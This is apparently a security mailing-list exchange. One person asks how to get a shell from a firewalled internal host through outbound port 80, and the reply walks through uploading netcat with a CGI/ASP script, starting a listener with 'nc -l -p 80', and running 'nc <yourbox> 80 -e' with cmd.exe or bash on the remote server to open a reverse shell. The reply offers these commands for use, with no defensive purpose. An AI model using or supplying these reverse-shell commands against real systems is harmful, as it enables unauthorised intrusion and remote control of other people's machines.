You want netcat, you can find in on packetstorm. What you will need to do first is build an CGI/ASP script to upload your code, assuming you can't just tftp it from the internal system. Then on your box execute: nc -l -p 80 On the remote server execute nc <yourbox> 80 -e c:\winnt\system32\cmd.exe or /usr/bin/bash or whatever command interpeter is handy. You will then see a command prompt appear on your local box. Sounds like the hard part will be getting netcat on the box. Good luck! Ilici Ramirez wrote:
Hi, Lets suppose that I can execute a program on an inside host on a network protected by a firewall. There is no way in. But there is a way out to www browsing on port 80. So the client could connect to any Internet address on port 80. What program should it execute to provide me with a shell? Of course I'm in Internet with a listener. What listener? The firewall is a real statefull firewall so no TCP ACK or ICMP encapsulations. Have a nice weekend too.
